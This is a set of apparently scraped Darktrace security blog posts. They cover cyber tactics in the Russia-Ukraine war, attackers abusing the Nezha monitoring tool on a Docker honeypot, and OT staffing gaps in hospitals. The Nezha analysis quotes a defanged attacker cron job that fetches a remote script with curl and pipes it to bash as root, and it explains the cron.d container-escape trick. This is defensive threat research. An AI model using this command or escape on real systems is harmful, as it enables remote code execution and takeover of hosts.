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August 9, 2022

Cyber Tactics in the Russo-Ukrainian Conflict

The conflict between Russia and Ukraine has led to fears of a full-scale cyberwar. Learn the cyber attack tactics used, hacking groups involved, and more!
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Rosa Jong
OSINT Analyst
Written by
Taisiia Garkava
Security Analyst
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09
Aug 2022

Introduction

Since the beginning of the Russian invasion of Ukraine in February 2022, cyber communities around the world have been witnessing what can be called a ‘renaissance of cyberwarfare' [1]. Rather than being financially motivated, threat actors are being guided by political convictions to defend allies or attack their enemies. This blog reviews some of the main threat actors involved in this conflict and their ongoing tactics, and advises on how organizations can best protect themselves. Darktrace’s preliminary assessments predicted that attacks would be observed globally with a focus on pro-Ukrainian nations such as North Atlantic Treaty Organization (NATO) members and that identified Advanced Persistent Threat (APT) groups would develop new and complex malware deployed through increasingly sophisticated attack vectors. This blog will show that many of these assessments had unexpected outcomes.

Context for Conflict 

Cyber confrontation between Russia and Ukraine dates back to 2013, when Viktor Yanukovych, (former President of Ukraine) rejected an EU trade pact in favour of an agreement with Russia. This sparked mass protests leading to his overthrow, and shortly after, Russian troops annexed Crimea and initiated the beginning of Russian-Ukrainian ground and cyber warfare. Since then, Russian threat actors have been periodically targeting Ukrainian infrastructure. One of the most notable examples of this, an attack against their national power grid in December 2015, resulted in power outages for approximately 255,000 people in Ukraine and was later attributed to the Russian hacking group Sandworm [2 & 3]. 

Another well-known attack in June 2017 overwhelmed the websites of hundreds of Ukrainian organizations using the infamous NotPetya malware. This attack is still considered the most damaging cyberattack in history, with more than €10 billion euros in financial damage [4]. In February 2022, countries witnessed the next stage of cyberwar against Ukraine with both new and familiar actors deploying various techniques to target their rival’s critical infrastructure. 

Tactic 1: Ransomware

Although some sources suggest US ransomware incidents and expectations of ransom may have declined during the conflict, ransomware still remained a significant tactic deployed globally across this period [5] [6] [7]. A Ukrainian hacking group, Network Battalion 65 (NB65), used ransomware to attack the Russian state-owned television and radio broadcasting network VGTRK. NB65 managed to steal 900,000 emails and 4000 files, and later demanded a ransom which they promised to donate to the Ukrainian army. This attack was unique because the group used the previously leaked source code of Conti, another infamous hacker group that had pledged its support to the Russian government earlier in the conflict. NB65 modified the leaked code to make unique ransomware for each of its targets [5]. 

Against expectations, Darktrace’s customer base appeared to deviate from these ransom trends. Analysts have seen relatively unsophisticated ransomware attacks during the conflict period, with limited evidence to suggest they were connected to any APT activity. Between November 2021 and June 2022, there were 51 confirmed ransomware compromises across the Darktrace customer base. This represents an increase of 43.16% compared to the same period the year before, accounting for relative customer growth. Whilst this suggests an overall growth in ransom cases, many of these confirmed incidents were unattributed and did not appear to be targeting any particular verticals or regions. While there was an increase in the energy sector, this could not be explicitly linked to the conflict. 

The Darktrace DETECT family has a variety of models related to ransomware visibility:

Darktrace Detections for T1486 (Data Encrypted for Impact):

- Compromise / Ransomware / Ransom or Offensive Words Written to SMB

- Compromise / Ransomware / Suspicious SMB Activity

- Anomalous Connection / Sustained MIME Type Conversion

- Unusual Activity / Sustained Anomalous SMB Activity

- Compromise / Ransomware / Suspicious SMB File Extension

- Unusual Activity / Anomalous SMB Read & Write

- Unusual Activity / Anomalous SMB Read & Write from New Device

- SaaS / Resource / SaaS Resources with Additional Extensions

- Compromise / Ransomware / Possible Ransom Note Read

- [If RESPOND is enabled] Antigena / Network / External Threat / Antigena Ransomware Block

Tactic 2: Wipers

One of the largest groups of executables seen during the conflict were wipers. On the eve of the invasion, Ukrainian organizations were targeted by a new wiper malware given the name “HermeticWiper”. Hermetic refers to the name of the Cyprian company “Hermetica Digital Ltd.” which was used by attackers to request a code signing certificate [6]. Such a digital certificate is used to verify the ownership of the code and that it has not been altered. The 24-year-old owner of Hermetica Digital says he had no idea that his company was abused to retrieve a code signing certificate [7]. 

HermeticWiper consists of three components: a worm, decoy ransomware and the wiper malware. The custom worm designed for HermeticWiper was used to spread the malware across the network of its infected machines. ESET researchers discovered that the decoy ransomware and the wiper were released at the same time [8]. The decoy ransomware was used to make it look like the machine was hit by ransomware, when in reality the wiper was already permanently wiping data from the machines. In the attack’s initial stage, it bypasses Windows security features designed to prevent overwriting boot records by installing a separate driver. After wiping data from the machine, HermeticWiper prevents that data from being re-fragmented and overwrites the files to fragment it further. This is done to make it more challenging to reconstruct data for post-compromise forensics [9]. Overall, the function and purpose of HermeticWiper seems similar to that of NotPetya ransomware. 

HermeticWiper is not the only conflict-associated wiper malware which has been observed. In January 2022, Microsoft warned Ukrainian customers that they detected wiper intrusion activity against several European organizations. One example of this was the MBR (Master Boot Record) wiper. This type of wiper overwrites the MBR, the disk sector that instructs a computer on how to load its operating system, with a ransomware note. In reality, the note is a misdirection and the malware destroys the MBR and targeted files [10].  

One of the most notable groups that used wiper malware was Sandworm. Sandworm is an APT attributed to Russia’s foreign military intelligence agency, GRU. The group has been active since 2009 and has used a variety of TTPs within their attacks. They have a history of targeting Ukraine including attacks in 2015 on Ukraine’s energy distribution companies and in 2017 when they used the aforementioned NotPetya malware against several Ukrainian organizations [11]. Another Russian (or pro-Russian) group using wiper malware to target Ukraine is DEV-0586. This group targeted various Ukrainian organizations in January 2022 with Whispergate wiper malware. This type of wiper malware presents itself as ransomware by displaying a file instructing the victim to pay Bitcoin to have their files decrypted [12].  

Darktrace did not observe any confirmed cases of HermeticWiper nor other conflict-associated wipers (e.g IsaacWiper and CaddyWiper) within the customer base over this period. Despite this, Darktrace DETECT has a variety of models related to wipers and data destruction:

Darktrace Detections for T1485 (Data Destruction)- this is the main technique exploited during wiper attacks

- Unusual Activity / Anomalous SMB Delete Volume

- IaaS / Unusual Activity / Anomalous AWS Resources Deleted

- IaaS / Storage / S3 Bucket Delete

- SaaS / Resource / Mass Email Deletes from Rare Location

- SaaS / Resource / Anomalous SaaS Resources Deleted

- SaaS / Resource / Resource Permanent Delete

- [If RESPOND is enabled] Antigena / Network / Manual / Enforce Pattern of Life

- [If RESPOND is enabled] Antigena / SaaS / Antigena Unusual Activity Block

Tactic 3: Spear-Phishing

Another strategy that some threat actors employ is spear-phishing. Targeting can be done using email, social media, messaging, or other platforms.

The hacking group Armageddon (also known as Gamaredon) has been responsible for several spear-phishing attacks during the crisis, primarily targeting individuals involved in the Ukrainian Government [13]. Since the beginning of the war, the group has been sending out a large volume of emails containing an HTML file which, if opened, downloads and launches a RAR payload. Those who click the attached link download an HTA with a PowerShell script which obtains the final Armageddon payload. Using the same strategy, the group is also targeting governmental agencies in the European Union [14]. With high-value targets, the need to improve teaching around phishing identification to minimize the chance of being caught in an attacker's net is higher than ever. 

In comparison to the wider trends, Darktrace analysts again saw little-to-no evidence of conflict-associated phishing campaigns affecting customers. Those phishing attempts which did target customers were largely not conflict-related. In some cases, the conflict was used opportunistically, such as when one customer was targeted with a phishing email referencing Russian bank exclusions from the SWIFT payment system (Figures 1 and 2). The email was identified by Darktrace/Email as a probable attempt at financial extortion and inducement - in this case the company received a spoofed email from a major bank’s remittance department.  

Figure 1- Screencap of targeted phishing email sent to Darktrace customer
Figure 2- Attached file contains soliciting reference to SWIFT, a money payment system which select Russian banks were removed from because of the conflict [15]

 Although the conflict was used as a reference in some examples, in most of Darktrace’s observed phishing cases during the conflict period there was little-to-no evidence to suggest that the company being targeted nor the threat actor behind the phishing attempt was associated with or attributable to the Russia-Ukraine conflict.

However, Darktrace/Email has several model categories which pick up phishing related threats:

Sample of Darktrace for Email Detections for T1566 (Phishing)- this is the overarching technique exploited during spear-phishing events

Model Categories:

- Inducement

- Internal / External User Spoofing

- Internal / External Domain Spoofing

- Fake Support

- Link to Rare Domains

- Link to File Storage

- Redirect Links

- Anomalous / Malicious Attachments

- Compromised Known Sender

Specific models can be located on the Email Console

 

Tactic 4: Distributed-Denial-of-Service (DDoS)

Another tactic employed by both pro-Russian and pro-Ukrainian threat actors was DDoS (Distributed Denial of Service) attacks. Both pro-Russia and pro-Ukraine actors were seen targeting critical infrastructure, information resources, and governmental platforms with mass DDoS attacks. The Ukrainian Minister of Digital Transformation, Mykhailo Fedorov, called on an IT Army of underground Ukrainian hackers and volunteers to protect Ukraine's critical infrastructure and conduct DDoS attacks against Russia [16]. As of 1 August 2022, more than two hundred thousand people are subscribed to the group's official Telegram channel, where potential DDoS targets are announced [17].

Darktrace observed similar pro-Ukraine DDoS behaviors within a variety of customer environments. These DDoS campaigns appeared to involve low-volume individual support combined with crowd-sourced DDoS activity. They were hosted on a range of public-sourced DDoS sites and seemed to share sentiments of groups such as the IT Army of Ukraine (Figure 3).

Figure 3- Example DDoS outsource domain with unusual TLD 

From the Russian side, one of the prominent newly emerged groups, Killnet, is striking back, launching several massive DDoS attacks against the critical infrastructure of countries that provide weaponry to Ukraine [18 & 19]. Today, the number of supporters of Killnet has grown to eighty-four thousand on their Telegram channel. The group has already launched a number of mass attacks on several NATO states, including Germany, Poland, Italy, Lithuania and Norway. This shows the conflict has attracted new and fast-growing groups with large backing and the capacity to undertake widespread attacks. 

DETECT has several models to identify anomalous DoS/DDoS activity:

Darktrace Detection for T1498 (Network Denial of Service)- this is the main technique exploited during DDoS attacks

- Device / Anomaly Indicators / Denial of Service Activity Indicator

- Anomalous Server Activity / Possible Denial of Service Activity

- [If RESPOND is enabled] Antigena / Network / External Threat / Antigena Suspicious Activity Block

What did Darktrace observe?

Darktrace’s cross-fleet detections were largely contrary to expectations. Analysts did not see large-scale complex conflict-linked attacks utilizing either conflict-associated ransomware, malware, or other TTPs. Instead, cyber incidents observed were largely opportunistic, using malware that could be purchased through Malware-as-a-Service models and other widely available toolkits, (rather than APT or conflict-attributable attacks). Overall, this is not to say there have been no repercussions from the conflict or that opportunistic attacks will cease, but evidence suggests that there were fewer wider cyber consequences beyond the initial APT-based attacks seen in the public forum. 

Another trend expected since the beginning of the conflict was targeted responses to sanction announcements focusing on NATO businesses and governments. Analysts, however, saw the limited reactive actions, with little-to-no direct impact from sanction announcements. Although cyber-attacks on some NATO organizations did take place, they were not as widespread or impactful as expected. Lastly, it was thought that exposure to new and sophisticated exploits would increase and be used to weaken NATO nations - especially corporations in critical industries. However, analysts observed relatively common exploits deployed indiscriminately and opportunistically. Overall, with the wider industry expecting chaos, Darktrace analysts did not see the crisis taken advantage of to target wider businesses outside of Ukraine. Based on this comparison between expectations and reality, the conflict has demonstrated the danger of  falling prey to confirmation bias and the need to remain vigilant and expect the unexpected. It may be possible to say that cyberwar is ‘cold’ right now, however the element of surprise is always present, and it is better to be prepared to protect yourself and your organization.    

What to Expect from the Future

As cyberattacks continue to become less monetarily and physically costly, it is to be expected that they will increase in frequency. Even after a political ceasefire is established, hacking groups can harbour resentment and continue their attacks, though possibly on a smaller scale.  

Additionally, the longer this conflict continues, the more sophisticated hacking groups’s attacks may become. In one of their publications, Killnet shared with subscribers that they had created ‘network weaponry’ powerful enough to simultaneously take down five European countries (Figure 4) [20]. Whether or not this claim is true, it is vital to be prepared. The European Union and the United States have supported Ukraine since the start of the invasion, and the EU has also stated that it is considering providing further assistance to help Ukraine in cyberspace [21].

Figure 4- Snapshot of Killnet Telegram announcement

How to Protect Against these Attacks

In the face of wider conflict and cybersecurity tensions, it is crucial that organizations evaluate their security stack and practise the following: 

·       Know what your critical assets are and what software is running on them. 

·       Keep your software up to date. Prioritize patching critical and high vulnerabilities that allow remote code execution. 

·       Enforce Multifactor Authentication (MFA) to the greatest extent possible. 

·       Require the use of a password manager to generate strong and unique passwords for each separate account. 

·       Backup all the essential files on the cloud and external drives and regularly maintain them. 

·       Train your employees to recognize phishing emails, suspicious websites, infected links or other abnormalities to prevent successful compromise of email accounts. 

In order to prevent an organization from suffering damage due to one of the attacks mentioned above, a full-circle approach is needed. This defence starts with a thorough understanding of the attack surface to provide timely mitigation. This can be supported by Darktrace products: 

·       As shown throughout this blog, Darktrace DETECT and Darktrace/Email have several models relating to conflict-associated TTPs and attacks. These help to quickly alert security teams and provide visibility of anomalous behaviors.

·       Darktrace PREVENT/ASM helps to identify vulnerable external-facing assets. By patching and securing these devices, the risk of exploit is drastically reduced.

·       Darktrace RESPOND and RESPOND/Email can make targeted actions to a range of threats such as blocking incoming DDoS connections or locking malicious email links.

Thanks to the Darktrace Threat Intelligence Unit for their contributions to this blog.

Appendices 

Reference List

[1] https://www.atlanticcouncil.org/blogs/ukrainealert/vladimir-putins-ukraine-invasion-is-the-worlds-first-full-scale-cyberwar/ 

[2] https://www.reuters.com/article/us-ukraine-cybersecurity-idUSKCN0VY30K

[3] https://www.reuters.com/article/us-ukraine-cybersecurity-sandworm-idUSKBN0UM00N20160108

[4 & 11] https://www.wired.com/story/notpetya-cyberattack-ukraine-russia-code-crashed-the-world/ 

[5] https://www.scmagazine.com/analysis/ransomware/despite-hopes-for-decline-ransomware-attacks-increased-during-russia-ukraine-conflict

[6] https://ransomware.org/blog/has-the-ukraine-conflict-disrupted-ransomware-attacks/

[7] https://www.cfr.org/blog/financial-incentives-may-explain-perceived-lack-ransomware-russias-latest-assault-ukraine

[8] https://www.bleepingcomputer.com/news/security/hackers-use-contis-leaked-ransomware-to-attack-russian-companies/ 

[9] https://voi.id/en/technology/138937/hermetica-owner-from-cyprus-didnt-know-his-server-was-used-in-malicious-malware-attack-in-ukraine 

[10] https://www.reuters.com/article/ukraine-crisis-cyber-cyprus-idCAKBN2KT2QI 

[11] https://www.eset.com/int/about/newsroom/press-releases/research/eset-research-ukraine-hit-by-destructive-attacks-before-and-during-the-russian-invasion-with-hermet/ 

[12] https://blog.malwarebytes.com/threat-intelligence/2022/03/hermeticwiper-a-detailed-analysis-of-the-destructive-malware-that-targeted-ukraine/ 

[13] https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/ 

[15] https://www.cisa.gov/uscert/ncas/alerts/aa22-057a 

[16] https://attack.mitre.org/groups/G0047/ 

[17] https://cyware.com/news/ukraine-cert-warns-of-increasing-attacks-by-armageddon-group-850081f8 

[18] https://www.bbc.co.uk/news/business-60521822

[19] https://foreignpolicy.com/2022/04/11/russia-cyberwarfare-us-ukraine-volunteer-hackers-it-army/

[20] https://t.me/itarmyofukraine2022

[21] https://www.csoonline.com/article/3664859/russian-ddos-attack-on-lithuania-was-planned-on-telegram-flashpoint-says.html

[19 & 20] https://flashpoint.io/blog/killnet-kaliningrad-and-lithuanias-transport-standoff-with-russia/ 

[21] https://presidence-francaise.consilium.europa.eu/en/news/member-states-united-in-supporting-ukraine-and-strengthening-the-eu-s-telecommunications-and-cybersecurity-resilience/ 

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Rosa Jong
OSINT Analyst
Written by
Taisiia Garkava
Security Analyst

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June 10, 2026

How Attackers Abuse the Chinese Nezha Monitoring Tool

nezha monitoring toolDefault blog imageDefault blog image

What is Nezha?

Nezha is an open-source tool that allows system administrators to centrally monitor multiple servers, including their resource usage such as CPU and network usage, and uptime. The tool also enables remote administrative access via an interactive shell.

The project has just under 10,000 stars on GitHub and has seen widespread adoption in the Chinese IT community, with many forum posts providing guides on installation and usage.

However, Nezha’s status as a legitimate executable that has remote access capabilities creates an opportunity for misuse. Instead of deploying a regular command-and-control (C2) implant, attackers can deploy Nezha directly on compromised hosts. As these deployments are functionally indistinguishable from legitimate installations, they can blend into expected operational tooling and evade detection.

Darktrace’s analysis of a Nezha infection

Darktrace operates several high-interaction honeypots to observe attacker techniques and behaviors. Darktrace analysts observed an intrusion against the Docker-based honeypot, initiated with a malicious container create command.

 The malicious container create command.
Figure 1: The malicious container create command.

Docker allows any host file or directory to be passed through to a container, granting read and write access. In this case, the attacker made use of this to pass through the cron.d directory, which is used to schedule recurring tasks, such as maintenance or backup commands.

These commands and timings are stored in the cron.d directory, which the attacker can now write to because it is passed through to their malicious container. By writing a job to this directory from within the container, the cron service running on the host detects the new job and executes it on the host, effectively allowing the attacker to escape the container.

The attacker the created a malicious cron job named ngk:
* * * * * root curl hxxps://file.gpu5[.]com/linux_install.sh | bash

This resulted in the host downloading and running the linux_install.sh file with root privileges.

The linux_install script installs several dependencies, sets up environmental variables, and retrieves a second-stage script (nezha_install.sh) from the same domain.

The linux_install script.
Figure 2: The linux_install script.

The nezha_install.sh script based on the official Nezha installer but has been modified to hard code configuration values, such as the server address, and to remove interactive prompts, allowing it to be installed without user input.

Open by design

One of Nezha’s most interesting design choices is that its main monitoring panel does not require authentication to view a list of monitored hosts. This exposes a list of compromised systems via the attacker-controlled panel, enabling direct observation of the operation’s scale, victimology and infrastructure.

The attacker’s Nezha dashboard.
Figure 3: The attacker’s Nezha dashboard.

At the time of analysis, the campaign had infected 141 servers, with 45 still online and accessible.  The number of online servers was previously higher, suggesting that some victims may have discovered and removed the infection.

The exposed dashboard provides insights into victim characteristics, including geographic distribution, hardware specification, and resource usage. Most infected hosts were low-spec systems, commonly one or two core Xeon CPUs and less than 4GB of RAM, indicating they were likely small virtual private servers (VPS) with limited value to the attacker.

Many systems also exhibited 100% CPU usage, which may indicate concurrent compromise, such as cryptocurrency mining activity by other threat actors.

Open-source intelligence platforms such as Shodan and Censys can also identify publicly exposed instances of Nezha. Although authentication is required to execute commands on a monitored server, visibility into dashboards still provides valuable intelligence for attackers and defenders alike.

At the time of writing, Darktrace identified 33 internet-facing Nezha installations as openly accessible.

Key takeaways

The abuse of legitimate software has become a consistent feature of modern intrusion activity, enabling attackers to operate without deploying traditional malware and reducing the risk of detection.

This creates a form of “trust inversion”, where tools typically associated with routine operations may instead indicate malicious activity when deployed outside expected contexts. Organizations should therefore prioritize asset visibility and software governance, ensuring that unexpected tool deployments can be identified and investigated, rather than focusing solely on malware-centric detection.

This challenge is especially pronounced in cloud environments, where legitimate monitoring tools may represent either essential software or an attacker backdoor. The scale and dynamic nature of cloud environments further complicate distinguishing between benign and malicious use.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

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Nathaniel Bill
Malware Research Engineer

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June 9, 2026

Healthcare’s OT Cybersecurity Gap: Why Hospitals Must Make the Same Security Investments as Regulated Critical Infrastructures

healthcare OTDefault blog imageDefault blog image

Rethinking the healthcare attack surface

When most people think about Operational Technology (OT) cybersecurity, they think about oil & gas pipelines, utilities, manufacturing plants, or power grids. However, hospitals & healthcare systems have quickly become a point of focus in the OT cybersecurity community as they do employ a variety of OT in the form of IoMT (Internet of Medical Things) networked devices such as: infusion pumps, imaging systems, patient monitoring equipment, laboratory systems, and traditional industrial control systems (ICS) in the form of smart building management systems (BMS) and even on site power generation control systems. 

These healthcare environments are no longer just traditional IT ecosystems, they are cyber-physical environments where disruption can directly impact patient care, operational continuity, and ultimately patient safety.

The OT cybersecurity expertise gap in healthcare organizations

Our research in the OT cybersecurity space revealed a concerning trend. Many hospitals and healthcare networks lack dedicated OT cybersecurity teams, OT security full time employees (FTE) and even OT expertise in the form of OT security certifications when compared to other critical infrastructure sectors.

On the other hand, within industries such as energy and manufacturing, we encounter more mature OT security programs that employ full time employees  dedicated to OT cybersecurity with OT security certifications and expertise to secure industrial and operational environments and lead investment in OT security processes and technology.

When reviewing the top 20 U.S. Hospitals by market cap, given what is publicly available on LinkedIn, only one FTE with an OT cybersecurity certification was found. The certifications that were searched for include: GIAC GICSP, GIAC GRID, GIAC GCIP and all ISA/IEC 62443 certifications. When replicating this same search across the top 20 utility providers in the US, 73 FTEs with OT related certifications were identified. As a control group, we looked within financial services, an industry NOT expected to have OT systems worth investing in FTEs to protect. However, the top 20 US financial institutions had 18 FTEs with OT related certifications. 

What these findings reveal

Overall, the findings regarding healthcare investment in OT security FTEs are surprising given how operationally dependent modern healthcare has become on OT. So why aren't hospitals investing in OT security personnel at the rate of peer critical infrastructures? It could just be lack of awareness; however, there are other, more plausible reasons.  

Based on historical trends in cyber incidents within the healthcare space, one could speculate that there is significantly greater likelihood of being victim to an attack that  focuses on extortion or data theft rather than an attack on specific OT systems. The amount of ransomware events incurred in healthcare, that historically do not target OT systems, may divert attention and security investment to the parts of the attack surface most likely to be targeted by ransomware. Additionally, data theft is a relevant threat objective for hospitals given PHI, PCI and PII, and data theft does not traditionally align with attacks targeting OT.  

However, with focused investment to address data theft and with adversaries new capability to string together chains of vulnerabilities of different severity scores using advancements in AI, we could be entering a threat landscape where adversaries pivot their tactics to target exposed and under protected devices and systems like OT. For example, although not a patient records database, predominant IOMT protocols HL7 and DICOM are unencrypted plaintext protocols and unless encrypted it is very simple for adversaries, who are sniffing traffic, to identify protected health information (PHI) in these communication protocols.

Why OT cybersecurity expertise can be effective for healthcare organizations

The convergence of IT, OT, and IoMT is already here, and threat actors are increasingly aware of the operational vulnerabilities that come with it. Additionally, as AI solutions such as agentic or generative applications are adopted and deployed, the attack surface will continue to change as permissions, and new connections will exist to support AI efficiency. From a cybersecurity standpoint, the reality is that many healthcare organizations are still working to establish consistent visibility and governance across their enterprise-connected devices and systems as their attack surface is changing in real time.  As the healthcare sector remains a significant target for cyber-attacks, hospitals would be well advised to begin addressing their operational environments OT as a critical component of their attack surface and invest in securing them first with people, then process and technology. 

What can healthcare organizations do to secure their OT

Including OT in current cybersecurity processes such as red teaming and testing incident response plans that take OT into account alongside building dedicated OT security capabilities including improving OT network visibility, leveraging OT network anomaly detection, micro-segmentation, and secure remote access will become essential steps in strengthening healthcare resilience. 

However, before any of the above processes or investments in technology can be made, these healthcare organizations, like the other critical infrastructure sectors, need to invest in the people with the experience in OT security to lead, implement, manage and audit the investment in OT cybersecurity technology and processes.  In cases where headcount cannot be added, investment in OT security certifications, such as the ones listed in this article, and participation on OT security events focused on practitioner training for existing cybersecurity employees can move the needle in terms of bringing OT expertise to the existing team.  

In an industry where uptime and safety are as mission critical as they are for a power utility, OT cybersecurity FTEs can no longer be viewed as optional for healthcare organizations and must become part of the foundation of modern healthcare cybersecurity strategy. 

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About the author
Daniel Simonds
Director of Operational Technology
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